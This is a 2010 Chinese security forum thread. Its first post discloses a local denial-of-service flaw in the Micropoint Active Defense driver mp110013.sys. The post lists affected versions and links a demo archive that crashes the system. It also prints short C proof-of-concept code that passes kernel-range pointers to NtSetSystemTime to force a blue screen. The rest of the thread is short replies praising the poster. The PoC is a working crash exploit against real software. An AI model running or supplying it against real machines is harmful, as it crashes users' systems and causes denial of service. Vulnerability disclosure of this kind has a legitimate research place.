微点主动防御 mp110013.sys <= 1.3.10123.0 NtSetSystemTime本地拒绝服务漏洞

显示全部楼层 · 发表于 2010-4-6 19:49:25

本帖最后由 3x3eyes 于 2010-4-6 20:19 编辑

产品版本：微点主动防御：mp.100323.1.2.10581.0278.r1

文件版本：mp110013.sys 1.3.10123.0 timestamp:4BA1863F checksum 1e7b8

问题：不正确地处理NtSetSystemTime的参数，引发本地拒绝服务漏洞

测试程序：http://mj0011.ys168.com 漏洞演示目录下 mpbsod_fun.rar,运行后系统即崩溃

POC code:

int main(int argc, char* argv[])
{
printf("Micropoint Local D.O.S Vulnerability\n"
"BSOD Micropoint for fun!\n"
"By MJ0011\nth_decoder$126.com\nPress Enter...\n");
getchar();
PVOID pAddr = GetProcAddress(GetModuleHandle("ntdll.dll") , "NtSetSystemTime");
__asm
{
push 0x80000000
push 0x80000000
call pAddr
}
return 0;
}

显示全部楼层 · 发表于 2010-4-6 19:50:55

又要火了

显示全部楼层 · 发表于 2010-4-6 19:53:08

已知、、、

感谢分享、、

显示全部楼层 · 发表于 2010-4-6 19:53:09

哈哈前排坐下看大牛讲演

显示全部楼层 · 发表于 2010-4-6 20:03:33

牛人！坐看

显示全部楼层 · 发表于 2010-4-6 20:04:41

学习一下

显示全部楼层 · 发表于 2010-4-6 20:05:29

学习了。楼主是大牛啊~

显示全部楼层 · 发表于 2010-4-6 20:07:44

MJ还为微点操心呢

显示全部楼层 · 发表于 2010-4-6 20:16:13

兰州强人

显示全部楼层 · 发表于 2010-4-6 20:30:56

还一下找了俩

[微点] 微点主动防御 mp110013.sys <= 1.3.10123.0 NtSetSystemTime本地拒绝服务漏洞

评分